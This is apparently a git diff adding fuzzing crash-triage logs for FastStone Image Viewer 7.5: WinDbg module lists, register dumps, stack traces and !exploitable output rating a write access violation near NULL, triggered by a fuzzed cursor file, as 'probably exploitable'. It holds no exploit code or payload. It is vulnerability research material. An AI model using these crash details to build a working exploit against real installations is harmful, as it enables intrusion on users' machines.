+Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x8BC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x8BC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(8bc.1b28): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fc30fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.261480000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.47446e-029 30157.7 2.1071e-038 -1.56831e-018 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0024d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0024d000 aa94bc96 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0024d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4f4b64a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..3ea70a5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..5e572cd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B6C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B6C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b6c.14c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fc44fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.17933e-017 -2.45855e-020 32.8508 -9.80754e+007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00342000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00342000 b34bc749 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00342000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..5e572cd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B6C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B6C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 